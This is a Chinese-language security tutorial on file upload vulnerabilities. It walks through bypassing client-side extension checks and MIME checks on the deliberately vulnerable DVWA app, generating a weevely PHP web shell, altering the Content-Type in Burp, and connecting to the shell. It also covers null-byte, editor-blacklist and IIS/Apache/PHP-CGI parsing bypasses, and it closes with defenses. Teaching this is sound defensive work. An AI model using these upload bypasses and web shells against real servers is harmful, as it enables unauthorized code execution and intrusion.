一、介绍
文件上传漏洞是指,用户上传了一个可执行文件脚本,并通过此脚本获取了执行服务器端命令的能力。
Uploaded files represent a significant risk to applications. The first step in many attacks is to get some code to the system to be attacked. Then the attack only needs to find a way to get the code executed. Using a file upload helps the attacker accomplish the first step.
Reference: http://www.owasp.org/index.php/Unrestricted_File_Upload
形成条件
- 上传的文件能够被Web容器解析执行
- 用户可以通过web访问到上传文件
- 上传文件未被格式化或压缩等功能改变内容
二、弱防御与绕过方法:
2.1、浏览器检查
2.1.1 javascript 检查
有些web应用通过前端的javascript代码对文件扩展名进行验证,如果不是白名单中的扩展名,就不会上传给服务器。
检查扩展名的javascript代码
/**
验证文件扩展名是否合法
**/
function checkFiles(str)
{
var strRegex = "(.jpg|.png|.gif|.ps|.jpeg)$"; //用于验证图片扩展名的正则表达式
var re=new RegExp(strRegex);
if (re.test(str.toLowerCase())){
return true;
}
else{
alert("文件名不合法,文件的扩展名必须为jpg,jpeg,gif或ps格式");
return false;
}
}
但攻击者完全可以无视javascript代码,自己构造表单提交,如果这时web服务器相信了浏览器的提交,未对文件进行再次检测,恶意脚本就被成功上传到服务器中。
构建表单代码
<form action="http://www.a.com/upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file" />
<br/>
<input type="submit" value="提交" name="submit" />
</form>
2.1.2 MIMIE检查
用户上传文件时,浏览器会在HTTP header中的Content-Type标头中标明上传文件的MIME类型。一般JavaScript无法对HTTP header进行修改。所以有些应用就根据http header 中的MIME类型,在服务器端进行检查。
虽然浏览器和服务端都进行了检查,但由于服务端信赖了浏览器的检查,从而给了攻击者可乘之机。
攻击者可以通过如burpsuite等工具进行web代理与拦截,修改http header 后继续提交给web server 从而成功上传恶意代码。
检查代码
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type']; //获取上传文件类型
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
//检查上传文件类型与大小
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>
绕过示例
生成木马
kali@kali:~/Documents/weevely$ weevely generate test ./upload.php
Generated './upload.php' with password 'test' of 677 byte size.
开启Burp suite进行拦截
拦截的HTTP header
POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 192.168.75.130
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.75.130/dvwa/vulnerabilities/upload/
Content-Type: multipart/form-data; boundary=---------------------------15912311096489786471169216825
Content-Length: 1216
Connection: close
Cookie: security=medium; BEEFHOOK=Nw7hGLFxLeeh3PX5cWhDSiZL6XPo4eBE4xDhPB0iVS0BHsQIstC4L7F7HVupFTMVdIFCcyKgC9nApXjT; PHPSESSID=pd2upekimfbmsn5i4os7t3m0k5; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
Upgrade-Insecure-Requests: 1
-----------------------------15912311096489786471169216825
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
-----------------------------15912311096489786471169216825
Content-Disposition: form-data; name="uploaded"; filename="upload.php"
Content-Type: application/x-php
修改content-type为image/jpeg,并转发
木马连接
kali@kali:~/Documents/weevely$ weevely http://192.168.75.130/dvwa/hackable/uploads/upload.php test
[+] weevely 4.0.1
[+] Target: 192.168.75.130
[+] Session: /home/kali/.weevely/sessions/192.168.75.130/upload_0.session
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely>
2.2、服务端检查
2.2.1、后缀检查
在很多语言中0x00被认为是终止符,修改文件名为xxx.php[\0].JPG绕过了应用的上传文件类型判断,但对服务器来说,此文件因为0x00字符截断的关系,最终会成为xxx.php
2.2.2、文件头检查
除了检查后缀外,还有的会检查文件头
将真实的脚本代码放在图片代码后,若上传文件后缀为jpg,web server 会将文件当成静态资源解析,而不会调用php解释器,攻击条件无法满足。
三、文本编辑器上传漏洞
在文本编辑器中,文件上传功能是很常见的。
在FCKeditor<=2.43的版本中使用黑名单的方式来限制文件上传的类型,但黑名单很容易被攻击者绕过。
如php版的FCKeditor限制了php php3 php5等后缀文件的上传,而如果上传后缀为php2 php4等的文件都有可能导致发生安全问题。
四、Web server 解析漏洞
4.1、IIS解析漏洞
IIS 6.0在解析文件时存在以下两个解析漏洞
1、当建立*.asp、*.asa格式的文件夹时,目录下的所有文件都会被当作asp文件来解析。
2、由于对文件扩展名检查不严格,类似于test.asp;z.jpg,test.asp;_gif也会被当解析成asp文件。
4.2、Apache解析漏洞
Apache1.x和Apache2.x中存在解析漏洞
Apache 在解析文件时,从后向前解析,会跳过不认识的扩展名,直到遇到认识的扩展名。如果Apache不认识rar扩展名,攻击者就可能上传test.php.rar文件,这样程序检查认为是rar文件,而apache认为是php文件。
4.3、PHP CGI解析漏洞
在PHP的配置文件中有一个关键选项:cgi.fi: x_pathinfo。 这个选项在某些版本是默认开启的,在开启时访问某些URL,如:http://www.a.com/x.txt/x.php,由于x.php并不存在,php向前解析,将x.txt文件当成php文件。
简单示例:
五、安全的解决方案:
1,建立白名单,web server只接受特定类型的文件。
2,对上传的文件重命名。
3,尽可能用数据库保存文件。
4,上传文件夹不应有执行权限。
5,确保.htaccess或web.config等配置文件不会被文件上传替换。